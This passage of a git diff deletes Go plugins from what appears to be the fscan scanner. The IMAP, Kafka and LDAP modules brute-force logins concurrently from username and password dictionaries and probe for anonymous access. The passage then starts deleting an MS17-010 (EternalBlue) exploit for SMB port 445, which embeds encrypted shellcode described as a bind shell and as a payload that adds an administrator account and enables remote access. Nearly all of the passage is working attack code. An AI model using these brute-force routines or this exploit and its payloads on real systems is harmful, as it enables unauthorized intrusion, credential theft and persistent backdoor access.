map[string]interface{}{ - "port": info.Ports, - "service": "ftp", - "username": "anonymous", - "password": "", - "type": "anonymous-login", - "directories": result.Directories, - } - } else { - successMsg = fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v", - target, result.Credential.Username, result.Credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "ftp", - "username": result.Credential.Username, - "password": result.Credential.Password, - "type": "weak-password", - "directories": result.Directories, - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(vulnResult) -} - -// min 返回两个整数中的较小值 -func min(a, b int) int { - if a < b { - return a - } - return b -} diff --git a/Plugins/IMAP.go b/Plugins/IMAP.go deleted file mode 100644 index 4bf6298..0000000 --- a/Plugins/IMAP.go +++ /dev/null @@ -1,327 +0,0 @@ -package Plugins - -import ( - "bufio" - "context" - "crypto/tls" - "fmt" - "io" - "net" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// IMAPCredential 表示一个IMAP凭据 -type IMAPCredential struct { - Username string - Password string -} - -// IMAPScanResult 表示IMAP扫描结果 -type IMAPScanResult struct { - Success bool - Error error - Credential IMAPCredential -} - -// IMAPScan 主扫描函数 -func IMAPScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建凭据列表 - var credentials []IMAPCredential - for _, user := range common.Userdict["imap"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, IMAPCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["imap"]), len(common.Passwords), len(credentials))) - - // 并发扫描 - result := concurrentIMAPScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveIMAPResult(info, target, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("IMAP扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) - return nil - } -} - -// concurrentIMAPScan 并发扫描IMAP服务 -func concurrentIMAPScan(ctx context.Context, info *common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *IMAPScanResult, 1) - workChan := make(chan IMAPCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryIMAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("IMAP并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryIMAPCredential 尝试单个IMAP凭据 -func tryIMAPCredential(ctx context.Context, info *common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &IMAPScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建单个连接超时的上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err := IMAPConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - return &IMAPScanResult{ - Success: true, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &IMAPScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// IMAPConn 连接测试函数 -func IMAPConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(common.Timeout) * time.Second - addr := fmt.Sprintf("%s:%s", host, port) - - // 创建结果通道 - resultChan := make(chan struct { - success bool - err error - }, 1) - - // 在协程中尝试连接 - go func() { - // 先尝试普通连接 - conn, err := common.WrapperTcpWithContext(ctx, "tcp", addr) - if err == nil { - flag, authErr := tryIMAPAuth(conn, user, pass, timeout) - conn.Close() - if authErr == nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{flag, nil}: - } - return - } - } - - // 如果普通连接失败或认证失败,尝试TLS连接 - tlsConfig := &tls.Config{ - InsecureSkipVerify: true, - } - - // 使用支持代理的TLS连接 - tlsConn, tlsErr := common.WrapperTlsWithContext(ctx, "tcp", addr, tlsConfig) - if tlsErr != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{false, fmt.Errorf("TLS连接失败: %v", tlsErr)}: - } - return - } - defer tlsConn.Close() - - flag, authErr := tryIMAPAuth(tlsConn, user, pass, timeout) - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{flag, authErr}: - } - }() - - // 等待结果或上下文取消 - select { - case result := <-resultChan: - return result.success, result.err - case <-ctx.Done(): - return false, ctx.Err() - } -} - -// tryIMAPAuth 尝试IMAP认证 -func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) { - conn.SetDeadline(time.Now().Add(timeout)) - - reader := bufio.NewReader(conn) - _, err := reader.ReadString('\n') - if err != nil { - return false, fmt.Errorf("读取欢迎消息失败: %v", err) - } - - loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass) - _, err = conn.Write([]byte(loginCmd)) - if err != nil { - return false, fmt.Errorf("发送登录命令失败: %v", err) - } - - for { - conn.SetDeadline(time.Now().Add(timeout)) - response, err := reader.ReadString('\n') - if err != nil { - if err == io.EOF { - return false, fmt.Errorf("认证失败") - } - return false, fmt.Errorf("读取响应失败: %v", err) - } - - if strings.Contains(response, "a001 OK") { - return true, nil - } - - if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") { - return false, fmt.Errorf("认证失败") - } - } -} - -// saveIMAPResult 保存IMAP扫描结果 -func saveIMAPResult(info *common.HostInfo, target string, credential IMAPCredential) { - successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v", - target, credential.Username, credential.Password) - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "imap", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - }, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/Kafka.go b/Plugins/Kafka.go deleted file mode 100644 index 11b3754..0000000 --- a/Plugins/Kafka.go +++ /dev/null @@ -1,328 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "github.com/IBM/sarama" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "strings" - "sync" - "time" -) - -// KafkaCredential 表示Kafka凭据 -type KafkaCredential struct { - Username string - Password string -} - -// KafkaScanResult 表示扫描结果 -type KafkaScanResult struct { - Success bool - IsUnauth bool - Error error - Credential KafkaCredential -} - -func KafkaScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 先尝试无认证访问 - common.LogDebug("尝试无认证访问...") - unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, common.Timeout, common.MaxRetries) - - if unauthResult.Success { - // 无认证访问成功 - common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target)) - - // 保存无认证访问结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "kafka", - "type": "unauthorized-access", - }, - } - common.SaveResult(result) - return nil - } - - // 构建凭据列表 - var credentials []KafkaCredential - for _, user := range common.Userdict["kafka"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, KafkaCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["kafka"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentKafkaScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 保存爆破成功结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "kafka", - "type": "weak-password", - "username": result.Credential.Username, - "password": result.Credential.Password, - }, - } - common.SaveResult(vulnResult) - common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s", - target, result.Credential.Username, result.Credential.Password)) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Kafka扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证 - return nil - } -} - -// concurrentKafkaScan 并发扫描Kafka服务 -func concurrentKafkaScan(ctx context.Context, info *common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *KafkaScanResult, 1) - workChan := make(chan KafkaCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryKafkaCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("Kafka并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryKafkaCredential 尝试单个Kafka凭据 -func tryKafkaCredential(ctx context.Context, info *common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &KafkaScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建单个连接超时的上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - - // 在协程中执行Kafka连接 - resultChan := make(chan struct { - success bool - err error - }, 1) - - go func() { - success, err := KafkaConn(info, credential.Username, credential.Password) - select { - case <-connCtx.Done(): - // 连接超时或被取消 - case resultChan <- struct { - success bool - err error - }{success, err}: - // 发送结果 - } - }() - - // 等待结果或超时 - var success bool - var err error - - select { - case result := <-resultChan: - success = result.success - err = result.err - case <-connCtx.Done(): - if ctx.Err() != nil { - // 全局超时 - cancel() - return &KafkaScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - } - // 单个连接超时 - err = fmt.Errorf("连接超时") - } - - cancel() // 清理单个连接上下文 - - if success { - isUnauth := credential.Username == "" && credential.Password == "" - return &KafkaScanResult{ - Success: true, - IsUnauth: isUnauth, - Credential: credential, - } - } - - lastErr = err - if err != nil { - // 记录错误 - common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v", - credential.Username, credential.Password, err)) - - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &KafkaScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// KafkaConn 尝试 Kafka 连接 -func KafkaConn(info *common.HostInfo, user string, pass string) (bool, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(common.Timeout) * time.Second - - config := sarama.NewConfig() - config.Net.DialTimeout = timeout - config.Net.ReadTimeout = timeout - config.Net.WriteTimeout = timeout - config.Net.TLS.Enable = false - config.Version = sarama.V2_0_0_0 - - // 设置 SASL 配置 - if user != "" || pass != "" { - config.Net.SASL.Enable = true - config.Net.SASL.Mechanism = sarama.SASLTypePlaintext - config.Net.SASL.User = user - config.Net.SASL.Password = pass - config.Net.SASL.Handshake = true - } - - brokers := []string{fmt.Sprintf("%s:%s", host, port)} - - // 尝试作为消费者连接测试 - consumer, err := sarama.NewConsumer(brokers, config) - if err == nil { - defer consumer.Close() - return true, nil - } - - // 如果消费者连接失败,尝试作为客户端连接 - client, err := sarama.NewClient(brokers, config) - if err == nil { - defer client.Close() - return true, nil - } - - // 检查错误类型 - if strings.Contains(err.Error(), "SASL") || - strings.Contains(err.Error(), "authentication") || - strings.Contains(err.Error(), "credentials") { - return false, fmt.Errorf("认证失败") - } - - return false, err -} diff --git a/Plugins/LDAP.go b/Plugins/LDAP.go deleted file mode 100644 index 3fb7ebd..0000000 --- a/Plugins/LDAP.go +++ /dev/null @@ -1,308 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "strings" - "sync" - "time" - - "github.com/go-ldap/ldap/v3" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// LDAPCredential 表示一个LDAP凭据 -type LDAPCredential struct { - Username string - Password string -} - -// LDAPScanResult 表示LDAP扫描结果 -type LDAPScanResult struct { - Success bool - Error error - Credential LDAPCredential - IsAnonymous bool -} - -func LDAPScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 首先尝试匿名访问 - common.LogDebug("尝试匿名访问...") - anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, common.Timeout, 1) - - if anonymousResult.Success { - // 匿名访问成功 - saveLDAPResult(info, target, anonymousResult) - return nil - } - - // 构建凭据列表 - var credentials []LDAPCredential - for _, user := range common.Userdict["ldap"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, LDAPCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["ldap"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentLDAPScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 记录成功结果 - saveLDAPResult(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("LDAP扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 - return nil - } -} - -// concurrentLDAPScan 并发扫描LDAP服务 -func concurrentLDAPScan(ctx context.Context, info *common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *LDAPScanResult, 1) - workChan := make(chan LDAPCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryLDAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("LDAP并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryLDAPCredential 尝试单个LDAP凭据 -func tryLDAPCredential(ctx context.Context, info *common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &LDAPScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, err := LDAPConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - isAnonymous := credential.Username == "" && credential.Password == "" - return &LDAPScanResult{ - Success: true, - Credential: credential, - IsAnonymous: isAnonymous, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &LDAPScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// LDAPConn 尝试LDAP连接 -func LDAPConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) { - address := fmt.Sprintf("%s:%s", info.Host, info.Ports) - - // 使用上下文控制的拨号过程 - conn, err := common.WrapperTcpWithContext(ctx, "tcp", address) - if err != nil { - return false, err - } - - // 使用已连接的TCP连接创建LDAP连接 - l := ldap.NewConn(conn, false) - defer l.Close() - - // 在单独的协程中启动LDAP连接 - go l.Start() - - // 创建一个完成通道 - done := make(chan error, 1) - - // 在协程中进行绑定和搜索操作,确保可以被上下文取消 - go func() { - // 尝试绑定 - var err error - if user != "" { - // 使用更通用的绑定DN模式 - bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user) - err = l.Bind(bindDN, pass) - } else { - // 匿名绑定 - err = l.UnauthenticatedBind("") - } - - if err != nil { - done <- err - return - } - - // 尝试简单搜索以验证权限 - searchRequest := ldap.NewSearchRequest( - "dc=example,dc=com", - ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, - "(objectClass=*)", - []string{"dn"}, - nil, - ) - - _, err = l.Search(searchRequest) - done <- err - }() - - // 等待操作完成或上下文取消 - select { - case err := <-done: - if err != nil { - return false, err - } - return true, nil - case <-ctx.Done(): - return false, ctx.Err() - } -} - -// saveLDAPResult 保存LDAP扫描结果 -func saveLDAPResult(info *common.HostInfo, target string, result *LDAPScanResult) { - var successMsg string - var details map[string]interface{} - - if result.IsAnonymous { - successMsg = fmt.Sprintf("LDAP服务 %s 匿名访问成功", target) - details = map[string]interface{}{ - "port": info.Ports, - "service": "ldap", - "type": "anonymous-access", - } - } else { - successMsg = fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v", - target, result.Credential.Username, result.Credential.Password) - details = map[string]interface{}{ - "port": info.Ports, - "service": "ldap", - "username": result.Credential.Username, - "password": result.Credential.Password, - "type": "weak-password", - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/MS17010-Exp.go b/Plugins/MS17010-Exp.go deleted file mode 100644 index ad7d082..0000000 --- a/Plugins/MS17010-Exp.go +++ /dev/null @@ -1,1422 +0,0 @@ -package Plugins - -import ( - "bytes" - "encoding/binary" - "encoding/hex" - "fmt" - "github.com/shadow1ng/fscan/common" - "io" - "io/ioutil" - "net" - "strings" - "time" -) - -// MS17010EXP 执行MS17-010漏洞利用 -func MS17010EXP(info *common.HostInfo) { - address := info.Host + ":445" - var sc string - - // 根据不同类型选择shellcode - switch common.Shellcode { - case "bind": - // msfvenom生成的Bind Shell, 监听64531端口 - sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" - var err error - sc, err = AesDecrypt(sc_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err)) - return - } - - case "cs": - // Cobalt Strike生成的shellcode - sc = "" - - case "add": - // 添加系统管理员账户并配置远程访问 - sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8" - var err error - sc, err = AesDecrypt(sc_enc, key) - if err != nil { - common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err)) - return - } - - case "guest": - // 激活Guest账户并配置远程访问 - sc_enc := 